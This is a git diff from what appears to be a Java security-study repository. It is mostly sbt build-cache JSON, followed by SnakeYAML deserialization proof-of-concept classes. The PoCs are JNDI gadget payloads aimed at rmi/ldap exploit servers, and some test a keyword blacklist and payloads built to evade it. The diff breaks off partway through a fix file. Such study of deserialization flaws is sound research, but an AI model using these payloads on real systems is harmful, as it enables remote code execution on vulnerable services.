avadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"runtime-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"scala-doc-tool"},"modules":[],"details":[]},{"configuration":{"name":"scala-tool"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar"],[{"name":"scala-compiler","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar"],[{"name":"scala-compiler","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-reflect","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-reflect","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-sources.jar"],[{"name":"scala-reflect","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.jline","name":"jline","revision":"3.21.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jline","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-sources.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-sources.jar"],[{"name":"jline","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-javadoc.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[],"callers":[]},{"module":{"organization":"net.java.dev.jna","name":"jna","revision":"5.9.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jna","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-sources.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-sources.jar"],[{"name":"jna","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-javadoc.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://github.com/java-native-access/jna","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["LGPL-2.1-or-later","https://www.gnu.org/licenses/old-licenses/lgpl-2.1"],["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0.txt"]],"callers":[]}],"details":[]},{"configuration":{"name":"sources"},"modules":[],"details":[]},{"configuration":{"name":"test"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"test-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]}],"stats":{"resolveTime":-1,"downloadTime":-1,"downloadSize":-1,"cached":false},"stamps":{}} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/externalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/compile/externalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/managedClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/compile/managedClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/scalacOptions/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/compile/scalacOptions/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedJars/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/compile/unmanagedJars/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/externalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/externalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/managedClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/managedClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedJars/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/runtime/unmanagedJars/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/externalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/test/externalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/managedClasspath/_global/streams/export new file mode 100644 index 00000000..6211971d --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/test/managedClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedJars/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/test/unmanagedJars/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/SnakeYaml/pom.xml b/JavaSecurity/SnakeYaml/pom.xml index 3a9c907f..717d42bf 100644 --- a/JavaSecurity/SnakeYaml/pom.xml +++ b/JavaSecurity/SnakeYaml/pom.xml @@ -12,27 +12,33 @@ org.yaml snakeyaml - 1.27 + 1.25 - commons-configuration - commons-configuration - 1.10 + commons-logging + commons-logging + 1.2 + + + com.unboundid + unboundid-ldapsdk + 4.0.9 + test org.springframework - spring-webmvc - 5.3.16 + spring-beans + 5.0.2.RELEASE - com.mchange - c3p0 - 0.9.5.2 + org.springframework + spring-context + 5.0.2.RELEASE - org.apache.xbean - xbean-naming - 4.20 + org.springframework + spring-core + 5.0.2.RELEASE diff --git a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java index dc5c0797..65ebdd7e 100644 --- a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java +++ b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java @@ -8,7 +8,7 @@ public static void main(String[] args) { String payload = "!!org.apache.commons.configuration.ConfigurationMap " + "[!!org.apache.commons.configuration.JNDIConfiguration " + "[!!javax.naming.InitialContext [], " + - "\"rmi://127.0.0.1:1099/Exploit\"]]: 1"; + "\"rmi://127.0.0.1:1099/nprcsj\"]]: 1"; Yaml yaml = new Yaml(); yaml.load(payload); } diff --git a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java index 6a983b1a..70989ebe 100644 --- a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java +++ b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java @@ -6,18 +6,11 @@ public class SpringPropertyPathFactoryBeanEXP { public static void main(String[] args) { String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + - " targetBeanName: \"ldap://localhost:1389/Exploit\"\n" + + " targetBeanName: \"rmi://127.0.0.1:1099/7dwqhm\"\n" + " propertyPath: Drunkbaby\n" + " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + - " shareableResources: [\"ldap://localhost:1389/Exploit\"]"; - - String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + - " targetBeanName: \"rmi://127.0.0.1:1099/Exploit\"\n" + - " propertyPath: Drunkbaby\n" + - " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + - " shareableResources: [\"rmi://127.0.0.1:1099/Exploit\"]"; - + " shareableResources: [\"rmi://127.0.0.1:1099/7dwqhm\"]"; Yaml yaml = new Yaml(); - yaml.load(poc); + yaml.load(payload); } } diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java new file mode 100644 index 00000000..c983cfb6 --- /dev/null +++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java @@ -0,0 +1,40 @@ +package BypassAnalyze; + + +import org.yaml.snakeyaml.Yaml; + +// 测试绕过一整段黑名单 +public class bypassBlackList { + + private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!", + "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", + "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", + "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", + "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"}; + public String yamlLoads(String payload) { + + try { + for (String riskyToken : RISKY_STR_ARR) { + if (payload.contains(riskyToken)) { + System.out.println("can not has malicious remote script"); + return "failed"; + } + } + Yaml yaml = new Yaml(); + yaml.loadAs(payload, Object.class); + } catch (Exception e) { + System.out.println("error"); + } + return "over"; + } + + public static void main(String[] args) { + String payload = "! \n" + + " targetBeanName: \"ldap://127.0.0.1:1389/dc=example,dc=com\"\n" + + " propertyPath: Drunkbaby\n" + + " beanFactory: ! \n" + + " shareableResources: [\"ldap://127.0.0.1:1389/dc=example,dc=com\"]"; + bypassBlackList bypassTest = new bypassBlackList(); + bypassTest.yamlLoads(payload); + } +} diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java new file mode 100644 index 00000000..099b64b7 --- /dev/null +++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java @@ -0,0 +1,40 @@ +package BypassAnalyze; + + +import org.yaml.snakeyaml.Yaml; + +// 测试绕过 !! +public class bypassTest { + + private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!", + "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", + "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", + "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", + "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"}; + + public String yamlLoads(String payload) { + + try { + if (payload.contains("!!")) { + System.out.println("can not has malicious remote script"); + return "failed"; + } + Yaml yaml = new Yaml(); + yaml.loadAs(payload, Object.class); + + } catch (Exception e) { + System.out.println("error"); + } + return "over"; + } + + public static void main(String[] args) { + String payload = "! \n" + + " targetBeanName: \"ldap://192.168.255.10:1389/tr7j8w\"\n" + + " propertyPath: Drunkbaby\n" + + " beanFactory: ! \n" + + " shareableResources: [\"ldap://192.168.255.10:1389/tr7j8w\"]"; + bypassTest bypassTest = new bypassTest(); + bypassTest.yamlLoads(payload); + } +} diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/tag.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/tag.java new file mode 100644 index 00000000..84093770 --- /dev/null +++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/tag.java @@ -0,0 +1,13 @@ +package BypassAnalyze; + +import org.yaml.snakeyaml.Yaml; + +public class tag { + public static void main(String[] args) { + String payload = "! " + + "[! " + + "[[! [\"http://localhost:1099\"]]]]\n"; + Yaml yaml = new Yaml(); + yaml.load(payload); + } +} diff --git a/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java b/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java index 55e4d351..9110a1b6 100644 --- a/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java +++ b/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java @@ -1,18 +1,18 @@ -package SnakeYamlFix; - -import org.yaml.snakeyaml.Yaml; -import org.yaml.snakeyaml.constructor.SafeConstructor; - -public class SnakeYamlFix { - public static void main(String[] args) 